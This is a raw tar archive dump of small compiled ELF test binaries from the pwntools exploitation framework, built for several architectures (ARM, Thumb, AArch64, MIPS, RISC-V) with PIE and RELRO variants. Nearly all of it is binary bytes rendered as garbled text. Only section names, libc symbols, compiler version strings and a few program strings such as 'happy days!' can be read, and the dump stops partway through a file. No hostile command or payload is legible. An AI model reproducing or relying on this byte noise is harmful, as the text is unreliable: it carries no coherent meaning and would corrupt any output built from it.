20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment  !$4((`: BPPJobb&Wo@f8pB zu4 4 H H 8           X  X@@PP0P-}Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-relro000077500000000000000000000136401507273764500244340ustar00rootroot00000000000000ELF@@ @8@@@@@@@@@@< <  A A A A@@DDQtdRtd A A/lib/ld-linux-aarch64.so.1GNUGNU1:F;}HY|o  E  mA1> @7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-aarch64.so.1__stack_chk_guard__gmon_start__GLIBC_2.17W AAAAAAAAAA {h{_{G>    ՐG> ֐G> ֐G? ֐G"? ֐GB? ֐Gb? ֐G? ֐G? { sB`@' $@$BR*$$n*@@^'@a@Aʁ @{Ũ_־@#XXX0@p@@G@_!@!@!?8TXa  _ !@@!!C!A!AXB@_ { `b@95 R`b9 @{¨_ր@6@a X{ ?{ { ** ?* @{¨_ {BRd{_{[S6"6c*C2Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314@@W p@ @ A A`@@@ A@@0 oo@@oo*@@@@@@@@@ AGCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment @@ !<@<$4`@`<: @B@Jo*@*Wo@@@@f@0pB@ zp@pu@0@0@ @ 88 @8  A  A  A  A AhAA0-=Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-aarch64-relro-pie000077500000000000000000000136401507273764500252070ustar00rootroot00000000000000ELFP @ @8@@@@ 8 8 8 P P P DDQtdRtd8 8 8 /lib/ld-linux-aarch64.so.1GNUGNU 7C;b@ Ze *   H  `  E"T  |1 x>a   7libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-aarch64.so.1__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.17f 8 ` @  `   hpx  {b{_{G=    ՐG= ֐G= ֐G= ֐G> ֐G"> ֐GB> ֐Gb> ֐G> {.SsGb@' .BR*`..k*@G['@a@AʁSA{Ũ_@#GcGGG@_!@!@!?8T!GA _ Ձ!@@!!C!A!ABGb@ _ { `B@9@5G@{ R`B9 @{¨_ր 5@a Ձ!G{ ?{{ ** ?* @{¨_ {BRj{_{[S45c*C6Tңzs*s`?֟!TSA[BcC{Ĩ__{{_%shappy days! %s very happy! %d 314`  f  d 8 @ `  P88 oooooP ` GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016.shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment  !<<$4```: BJo&Wo@f8pB88 zud d x x 8 8 8 @ @ H H P P PP0-=Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm000077500000000000000000000064401507273764500226420ustar00rootroot00000000000000ELF(44 (p(((444444444444<@@@PPPDDQtd/lib/ld-linux-armhf.so.3GNU GNUK|l6AJX  >7kh E} $1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii \h<@DHLPTX @-F-PxGFƏʌLƏʌDƏʌ<Əʌ4Əʌ,Əʌ$ƏʌƏʌ@ht@`#h @` "!F@`@$`F@$@y #hB O OjFMHKI0 0 R/8,K@hp+@GpGk@hs@hpqI@GpG@lt#x##p@<`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 314u]W  48p 0@to$oo@GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4<: BppJoWo$$Pf tto B@ x sx~HH,p(( 004488<<@@000``hh0h-p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-big000077500000000000000000000064401507273764500234010ustar00rootroot00000000000000ELF(44 (p(((444444444444<@@@PPPDDdtQ/lib/ld-linux-armhf.so.3GNU GNUzC*B301e;[~H+  >7kh E} $1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii\h<@DHLPTX @-F-PxGFƏʌLƏʌDƏʌ<Əʌ4Əʌ,Əʌ$ƏʌƏʌ@ht@`#h @` "!F@`@$`F@$@y #hB O OjFMHKI0 0 R/8,K@hp+@GpGk@hs@hpqI@GpG@lt#x##p@<`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 314u]W  48p 0@to$oo@GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4<: BppJoWo$$Pf tto B@ x sx~HH,p(( 004488<<@@000``hh0h-p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-big-pie000077500000000000000000000075101507273764500241530ustar00rootroot00000000000000ELF(Y4 4 (p$$$44444400000`d<<<PPPDDdtQ/lib/ld-linux-armhf.so.3GNU GNU8; fl7ZA'   \ 8 E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii04 ` x |  d h l p  t    @ D H L  P  T  X \@-N-ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB pD8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG^4I H KyDxD {DqIJXGpG0P K J{DxzDk KX#K{DhK"{Dp^0J>HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 3144i)f \ 04$   4@hoodoo>o<hhhhhhhh GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4`: 0B$$Jo>>&WoddPf ho B@ x\\ shhx~,p$$ ,,004488<< 4 4T  0 -p 3 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-big-relro000077500000000000000000000127001507273764500245160ustar00rootroot00000000000000ELF(4`4 (pHHH444  TTTTTDLpppDDdtQdtR<</lib/ld-linux-armhf.so.3GNU GNU>5Ty  >7k E} D1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii @-F- xGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌƏʌA@ `#h @$` "!F@4`@D`F@D@y #hB O OjFMHKi0 0 R/ ,KA+@GpG AAqI@GpGA #x##p@`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 314}W   @ooDoo0GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4<: BJo00WoDDPf o B@ x sx~hh,pHH PP00-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-big-relro-pie000077500000000000000000000127001507273764500252710ustar00rootroot00000000000000ELF(y4`4 (pDDD444  TTTPPhlpppDDdtQdtR``/lib/ld-linux-armhf.so.3GNU GNU,FɇuOF1ħ   |   E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii     @-N- ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB p 8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG  4I H KyDxD {DqIJXGpGP K J{DxzDk KX#K{DhK"{DpV0HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 3144If | D  @<hoooo^o GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4`: 0BDDJo^^&WoPf ho B<<@ x|| sx~,pDD LLT0-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-pie000077500000000000000000000075101507273764500234140ustar00rootroot00000000000000ELF(Y4 4 (p$$$44444400000`d<<<PPPDDQtd/lib/ld-linux-armhf.so.3GNU GNUҌqe_J0   \ 8 E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii 04` x |  d h l p  t   @ D H L  P  T  X \ @-N-ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB pD8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG^4I H KyDxD {DqIJXGpG0P K J{DxzDk KX#K{DhK"{Dp^0J>HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 3144i)f \ 04$  4 @hoodoo>o<hhhhhhhh GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4`: 0B$$Jo>>&WoddPf ho B@ x\\ shhx~,p$$ ,,004488<<4 4 T    0 -p 3 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-relro000077500000000000000000000127001507273764500237570ustar00rootroot00000000000000ELF(4`4 (pHHH444  TTTTTDLpppDDQtdRtd<</lib/ld-linux-armhf.so.3GNU GNUnyCp}\  >7k E} D1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii  @-F- xGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌƏʌA@ `#h @$` "!F@4`@D`F@D@y #hB O OjFMHKi0 0 R/ ,KA+@GpG AAqI@GpGA #x##p@`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 314}W   @ooDoo0GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4<: BJo00WoDDPf o B@ x sx~hh,pHH PP00-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-arm-relro-pie000077500000000000000000000127001507273764500245320ustar00rootroot00000000000000ELF(y4`4 (pDDD444  TTTPPhlpppDDQtdRtd``/lib/ld-linux-armhf.so.3GNU GNU>~Gi8rpqHf   |   E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii      @-N- ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB p 8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG  4I H KyDxD {DqIJXGpGP K J{DxzDk KX#K{DhK"{DpV0HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 3144If | D  @<hoooo^o GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4`: 0BDDJo^^&WoPf ho B<<@ x|| sx~,pDD LLT0-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-mips-big000077500000000000000000000135201507273764500235670ustar00rootroot00000000000000ELF@4xp4 (4@4@4``@@ p@@p@@@@ AA@@@@ @@$$dtRAA/lib/ld.so.1GNU AGNU&}Նulem!gH @| @ @@@ * pAp5 A ppp@p pppo@oo@    @ D @ `A@  .@  @| ^ @ @ x !@ 3"@ @ B __libc_csu_init__libc_csu_fini__libc_start_main__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable_Jv_RegisterClassesatoi__stack_chk_guard__isoc99_scanfprintfsrand__stack_chk_faillibc.so.6_DYNAMIC_LINKING__RLD_MAP_IO_stdin_usedld.so.1GLIBC_2.4GLIBC_2.7GLIBC_2.0 ii  ii ii  ii <'!'௼T@T <B'$'9u<B'$'9 P' %<B'%'$$' L <A<A$$BD#,B@<B'd  <A<A$$BD#/(!(C<B'<  'Я(<A,$ b@<A<A&1$B<AQ#<A$R&1Q+` $BC!Y Q+`$B $b,($ '0<A$D@<B''H  ' '௿% $$ ` %@% $%' '௿%<B' @@% %' 'D@%<B'\B<'@(%<@$D pD@% '@(%<@$D t`@% '@ %@@% @(%<@$D `@% <@$D O@(%P <\op  $$ `  Lpp@  x04 op!/!; 0OGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-mips-big-pie-relro000077500000000000000000000204001507273764500254560ustar00rootroot00000000000000ELF4p4 ("444`` pp $$dtR/lib/ld.so.1GNU GNU3$o/4 , 0$  p5  pppp pppooool    , , dJ L%C  <TcQI (<]]&,  < N"  i "_DYNAMIC_LINKING__RLD_MAP__libc_csu_init__libc_csu_fini__libc_start_main__gmon_start____TMC_END___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalize__DTOR_END___Jv_RegisterClassesatoi__stack_chk_guard__isoc99_scanfprintffoosrandbar__stack_chk_faillibc.so.6_IO_stdin_usedld.so.1_ftext_fdata_edata__bss_start_fbss_endGLIBC_2.4GLIBC_2.7GLIBC_2.0GLIBC_2.24 iih iir iih ii| ii<'!'௼p@p <'!4'9 <'!4'9 p3' %<'D!%'$$' h <'!($$$BD#,B@  <'!($$D#/(!(CX  <'`!'Я((,$ b@%@, D(0(&1􏂀(q#$R&1Q+` 4$BC!Y Q+`4'9 $b,($ '0<'|!('௼$D@d4'9 d'   '௿% $$ ` %@% $%' <'!'௿% \@% %' <'!'D@%xB<'@(%4$D`@% '@(%4$D|@% '@ %\@% @(%4$D|@% 4$D8@%@(%l<@%xop  ,, `00L@  x04 op!/!; 0OGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-mips-big-relro000077500000000000000000000202201507273764500247030ustar00rootroot00000000000000ELF@4hp4 (!4@4@4``@@ p@@p@@@@ AA@@@@ @@$$dtRAA/lib/ld.so.1GNU AGNU=c/" @ @ @@@ * pAp5 A ppp@p pppoo@,oo@    @ T @ pA@  .@  @ ^ @ @ x !@ 3"@ @ B __libc_csu_init__libc_csu_fini__libc_start_main__gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable_Jv_RegisterClassesatoi__stack_chk_guard__isoc99_scanfprintfsrand__stack_chk_faillibc.so.6_DYNAMIC_LINKING__RLD_MAP_IO_stdin_usedld.so.1GLIBC_2.4GLIBC_2.7GLIBC_2.0 ii  ii ii  ii <'!'௼T@T <B'$'9u<B'$'9 `' %<B'%'$$' L <A<A$$BD#,B@<B'd  <A<A$$BD#/(!(C<B'<  'Я(<A,$ b@<A<A&1$B<AQ#<A$R&1Q+` $BC!Y Q+`$B $b,($ '0<A$D@<B''H  ' '௿% $$ ` %@% $%' '௿%<B' @@% %' 'D@%<B'\B<'@(%<@$D D@% '@(%<@$D `@% '@ %@@% @(%<@$D `@% <@$D S@(%P @\Cg>Cg>Bg>Bg>Ag>Ag>@g e0qFG _!aIeIgcIeIg5@œA"G#`dAmq#0#&'6c#4GE )FE>쪇#,'E_#.'>G>.6cF:`Fd%a%shappy days! %s very happy! %d 314;(zR| T"b^h !o  oooGCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0A2riscv(rv64i2p0_m2p0_a2p0_f2p0_d2p0_c2p0.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.text.rodata.eh_frame_hdr.eh_frame.preinit_array.init_array.fini_array.dynamic.got.sdata.bss.comment.riscv.attributes 88!\\$& 4oD> FNo[oPjtBy~@@B4, XPP XX 0X +p 3 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-riscv64-pie000077500000000000000000000117301507273764500241340ustar00rootroot00000000000000ELF@X @8 @@@@888!!p# 3\ \ \ \\x xx\\\DDPtd   Qtd/lib/ld-linux-riscv64-lp64d.so.1GNUҟ6^Șa mj?|֢GNU  k| + =[N" U8 8strtol__isoc99_scanfatoi__cxa_finalize__libc_start_main__stack_chk_failprintfsrand__stack_chk_guardlibc.so.6ld-linux-riscv64-lp64d.so.1GLIBC_2.27GLIBC_2.34_ITM_deregisterTMCloneTable_ITM_registerTMCloneTablew m\h6pxx8    3AICISg>Hg>Gg>Gg>Fg>Fg>Eg>Eg 5Ee0qFG _!a%=ꪇ#,'E_몇#.'>_G>G16cF:`Fd%a%shappy days! %s very happy! %d 314;d(zR| 4"mw \!hpo @h oooooxGCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0A2riscv(rv64i2p0_m2p0_a2p0_f2p0_d2p0_c2p0.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.text.rodata.eh_frame_hdr.eh_frame.preinit_array.init_array.fini_array.dynamic.data.got.bss.comment.riscv.attributes 88!\\$& 4o$> PFNo[oPjhhtB@@y~f4  0 0 ,\\ hh pp xx xx  x 0 +p# 3V Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-riscv64-relro000077500000000000000000000141001507273764500244740ustar00rootroot00000000000000ELFp@@8 @@@@00ppp!!p3,, xDDPtdQtdRtd /lib/ld-linux-riscv64-lp64d.so.1GNU>;S*=ŶIͳlGNU"`)4}0`ޓ~ +k.N=9@s<|LF` (?@.0Pstrtol__isoc99_scanfatoi__libc_start_main__stack_chk_failprintfsrand__stack_chk_guardlibc.so.6ld-linux-riscv64-lp64d.so.1GLIBC_2.27GLIBC_2.34__global_pointer$h ^P    ( 0 8  @ #3ACSg.>g.>g.>g.>g.>g.>g.>g e0qFG _!IeIgcIeIg5@œA"G#`dAmq#0#&'c#4GE )FE>쪇#,'E_#.'>G>'6cF:`Fd%a%shappy days! %s very happy! %d 314;(zR| T"^h !o   8  ooooGCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0A2riscv(rv64i2p0_m2p0_a2p0_f2p0_d2p0_c2p0.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.text.rodata.eh_frame_hdr.eh_frame.preinit_array.init_array.fini_array.dynamic.got.sdata.bss.comment.riscv.attributes pp!$& 4oD>   FNo[oPj  tB88y~ppB4,    XX X` `0`+p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-riscv64-relro-pie000077500000000000000000000141401507273764500252530ustar00rootroot00000000000000ELF@@8 @@@@00ppp!!p3  DDPtdL L L QtdRtd /lib/ld-linux-riscv64-lp64d.so.1GNUi{=LrՏGNU  k| + =[N" U8 hstrtol__isoc99_scanfatoi__cxa_finalize__libc_start_main__stack_chk_failprintfsrand__stack_chk_guardlibc.so.6ld-linux-riscv64-lp64d.so.1GLIBC_2.27GLIBC_2.34_ITM_deregisterTMCloneTable_ITM_registerTMCloneTablew mf,  h hX ` p  x    ( 0 8 @  H  #3ACSg.>g.>g.>g.>g.>g.>g.>g %5%e0qFG _!%''c'gÂ%%5@ŗ'ÂA"$G'5e{G#`dAiq#0#&g~c#4G e)FE>ꪇ#,'E_몇#.'>_G>v6cF:`Fd%a%shappy days! %s very happy! %d 314;d(zR| 4"mw !oP  x ooPoo0o       GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0A2riscv(rv64i2p0_m2p0_a2p0_f2p0_d2p0_c2p0.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.text.rodata.eh_frame_hdr.eh_frame.preinit_array.init_array.fini_array.dynamic.data.got.bss.comment.riscv.attributes pp!$& 4o$> PFPPNo00[oPPPjtBxxy  ~f  4L L ` ` ,     x 0+p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb000077500000000000000000000064401507273764500232020ustar00rootroot00000000000000ELF(44 (p(((444444444444<@@@PPPDDQtd/lib/ld-linux-armhf.so.3GNU GNUK|l6AJX  >7kh E} $1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii \h<@DHLPTX @-F-PxGFƏʌLƏʌDƏʌ<Əʌ4Əʌ,Əʌ$ƏʌƏʌ@ht@`#h @` "!F@`@$`F@$@y #hB O OjFMHKI0 0 R/8,K@hp+@GpGk@hs@hpqI@GpG@lt#x##p@<`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 314u]W  48p 0@to$oo@GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4<: BppJoWo$$Pf tto B@ x sx~HH,p(( 004488<<@@000``hh0h-p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-big000077500000000000000000000064401507273764500237410ustar00rootroot00000000000000ELF(44 (p(((444444444444<@@@PPPDDdtQ/lib/ld-linux-armhf.so.3GNU GNUzC*B301e;[~H+  >7kh E} $1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii\h<@DHLPTX @-F-PxGFƏʌLƏʌDƏʌ<Əʌ4Əʌ,Əʌ$ƏʌƏʌ@ht@`#h @` "!F@`@$`F@$@y #hB O OjFMHKI0 0 R/8,K@hp+@GpGk@hs@hpqI@GpG@lt#x##p@<`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 314u]W  48p 0@to$oo@GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4<: BppJoWo$$Pf tto B@ x sx~HH,p(( 004488<<@@000``hh0h-p3Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-big-pie000077500000000000000000000075101507273764500245130ustar00rootroot00000000000000ELF(Y4 4 (p$$$44444400000`d<<<PPPDDdtQ/lib/ld-linux-armhf.so.3GNU GNU8; fl7ZA'   \ 8 E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii04 ` x |  d h l p  t    @ D H L  P  T  X \@-N-ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD "!(FFHxD HxD KFX 3hB pD8@O OjF$D Z MKZ0HZ,DH0 0 R/<KHJ{DxD3zD+KXGpG^4I H KyDxD {DqIJXGpG0P K J{DxzDk KX#K{DhK"{Dp^0J>HKxDh{D@JX+ИGLF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽtjpG@-%shappy days! %s very happy! %d 3144i)f \ 04$   4@hoodoo>o<hhhhhhhh GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes 44PP !pp$4`: 0B$$Jo>>&WoddPf ho B@ x\\ shhx~,p$$ ,,004488<< 4 4T  0 -p 3 Gallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-big-relro000077500000000000000000000127001507273764500250560ustar00rootroot00000000000000ELF(4`4 (pHHH444  TTTTTDLpppDDdtQdtR<</lib/ld-linux-armhf.so.3GNU GNU>5Ty  >7k E} D1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__gmon_start__GLIBC_2.4GLIBC_2.7W ii ii ii @-F- xGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌƏʌA@ `#h @$` "!F@4`@D`F@D@y #hB O OjFMHKi0 0 R/ ,KA+@GpG AAqI@GpGA #x##p@`h@@+ИGF FFG F "!-CF MFF,}DD  $Y$0BF49F0FGBѽpG@-%shappy days! %s very happy! %d 314}W   @ooDoo0GCC: (Linaro GCC 6.2-2016.11) 6.2.1 20161016A2aeabi(7-A A  ".shstrtab.interp.note.ABI-tag.note.gnu.build-id.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.ARM.exidx.eh_frame.init_array.fini_array.jcr.dynamic.got.data.bss.comment.ARM.attributes TTpp !$4<: BJo00WoDDPf o B@ x sx~hh,pHH PP00-p53hGallopsled-pwntools-3ad86ec/pwnlib/data/elf/test-thumb-big-relro-pie000077500000000000000000000127001507273764500256310ustar00rootroot00000000000000ELF(y4`4 (pDDD444  TTTPPhlpppDDdtQdtR``/lib/ld-linux-armhf.so.3GNU GNU,FɇuOF1ħ   |   E"> 7z T @ ax  1libc.so.6srand__isoc99_scanf__stack_chk_failabortprintfstrtol__cxa_finalize__libc_start_mainld-linux-armhf.so.3__stack_chk_guard__libc_csu_fini_ITM_deregisterTMCloneTable__gmon_start____libc_csu_init_Jv_RegisterClasses_ITM_registerTMCloneTableGLIBC_2.4GLIBC_2.7f ii ii ii     @-N- ƏʌxGFƏʌƏʌƏʌƏʌƏʌƏʌƏʌpL)FK|DHXxD3h H)FxD 